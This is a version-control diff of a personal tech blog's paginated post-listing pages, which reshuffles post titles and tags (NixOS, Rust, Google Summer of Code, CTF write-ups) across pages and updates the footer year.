2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Wrapping up GSoC 2024" href=https://lavafroth.is-a.dev/post/the-gsoc-grand-finale/><h2>Wrapping up GSoC 2024</h2></a><time>Aug 24, 2024 | 6 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="NixOS Secureboot Shenanigans" href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/><h2>NixOS Secureboot Shenanigans</h2></a><time>Dec 20, 2024 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/nix class=list-tag>Nix</a>
<a href=https://lavafroth.is-a.dev/tags/nixos class=list-tag>NixOS</a>
<a href=https://lavafroth.is-a.dev/tags/secureboot class=list-tag>Secureboot</a>
<a href=https://lavafroth.is-a.dev/tags/sbctl class=list-tag>sbctl</a>
<a href=https://lavafroth.is-a.dev/tags/lanzaboote class=list-tag>lanzaboote</a>
<a href=https://lavafroth.is-a.dev/tags/troubleshooting class=list-tag>Troubleshooting</a>
<a class=post-link aria-label="NixOS Secureboot Shenanigans" href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/></a></article><article><a aria-label="Wrapping up GSoC 2024" href=https://lavafroth.is-a.dev/post/the-gsoc-grand-finale/><h2>Wrapping up GSoC 2024</h2></a><time>Aug 24, 2024 | 6 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
@@ -53,11 +59,5 @@
<a href=https://lavafroth.is-a.dev/tags/linux class=list-tag>Linux</a>
<a href=https://lavafroth.is-a.dev/tags/laptops class=list-tag>Laptops</a>
<a href=https://lavafroth.is-a.dev/tags/kernel-modules class=list-tag>Kernel Modules</a>
<a class=post-link aria-label="I Solemnly Swear to Never Buy a Gaming Laptop Again" href=https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/></a></article><article><a aria-label="Modeling More Realistic Keybinds With Modifiers" href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/><h2>Modeling More Realistic Keybinds With Modifiers</h2></a><time>Jun 5, 2024 | 4 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a>
<a class=post-link aria-label="Modeling More Realistic Keybinds With Modifiers" href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/></a></article><nav data-main><a href=../../../post/>Previous Page</a>
<a href=../../../post/page/3/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a class=post-link aria-label="I Solemnly Swear to Never Buy a Gaming Laptop Again" href=https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/></a></article><nav data-main><a href=../../../post/>Previous Page</a>
<a href=../../../post/page/3/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -1,4 +1,10 @@
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Edge cases? You Shall Not Pass!" href=https://lavafroth.is-a.dev/post/edge-cases-you-shall-not-pass/><h2>Edge cases? You Shall Not Pass!</h2></a><time>Jun 3, 2024 | 4 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Modeling More Realistic Keybinds With Modifiers" href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/><h2>Modeling More Realistic Keybinds With Modifiers</h2></a><time>Jun 5, 2024 | 4 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a>
<a class=post-link aria-label="Modeling More Realistic Keybinds With Modifiers" href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/></a></article><article><a aria-label="Edge cases? You Shall Not Pass!" href=https://lavafroth.is-a.dev/post/edge-cases-you-shall-not-pass/><h2>Edge cases? You Shall Not Pass!</h2></a><time>Jun 3, 2024 | 4 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
@@ -48,8 +54,5 @@
<a class=post-link aria-label="Kringlecon 2023 Writeup" href=https://lavafroth.is-a.dev/post/kringlecon-2023-writeup/></a></article><article><a aria-label="Abstracting Structured Patterns in Concurrent Programming" href=https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/><h2>Abstracting Structured Patterns in Concurrent Programming</h2></a><time>Dec 6, 2023 | 6 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/meta class=list-tag>Meta</a>
<a href=https://lavafroth.is-a.dev/tags/concurrency class=list-tag>Concurrency</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a class=post-link aria-label="Abstracting Structured Patterns in Concurrent Programming" href=https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/></a></article><article><a aria-label=Headache href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/><h2>Headache</h2></a><time>Sep 7, 2023 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
<a class=post-link aria-label=Headache href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/></a></article><nav data-main><a href=../../../post/page/2/>Previous Page</a>
<a href=../../../post/page/4/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a class=post-link aria-label="Abstracting Structured Patterns in Concurrent Programming" href=https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/></a></article><nav data-main><a href=../../../post/page/2/>Previous Page</a>
<a href=../../../post/page/4/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -1,4 +1,7 @@
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Compact XOR" href=https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/><h2>Compact XOR</h2></a><time>Aug 24, 2023 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=Headache href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/><h2>Headache</h2></a><time>Sep 7, 2023 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
<a class=post-link aria-label=Headache href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/></a></article><article><a aria-label="Compact XOR" href=https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/><h2>Compact XOR</h2></a><time>Aug 24, 2023 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/cryptography class=list-tag>Cryptography</a>
<a class=post-link aria-label="Compact XOR" href=https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/></a></article><article><a aria-label=Volcano href=https://lavafroth.is-a.dev/post/volcano-reverse-engineering-amateursctf-2023/><h2>Volcano</h2></a><time>Jul 21, 2023 | 13 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
@@ -40,11 +43,5 @@
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a>
<a href=https://lavafroth.is-a.dev/tags/wireshark class=list-tag>Wireshark</a>
<a class=post-link aria-label="Kringlecon 2022 Writeup" href=https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/></a></article><article><a aria-label=Pixelated href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/><h2>Pixelated</h2></a><time>Nov 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/cryptography class=list-tag>Cryptography</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/image-reconstruction class=list-tag>Image Reconstruction</a>
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a href=https://lavafroth.is-a.dev/tags/visual-cryptography class=list-tag>Visual Cryptography</a>
<a class=post-link aria-label=Pixelated href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/></a></article><nav data-main><a href=../../../post/page/3/>Previous Page</a>
<a href=../../../post/page/5/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a class=post-link aria-label="Kringlecon 2022 Writeup" href=https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/></a></article><nav data-main><a href=../../../post/page/3/>Previous Page</a>
<a href=../../../post/page/5/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -1,4 +1,10 @@
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section 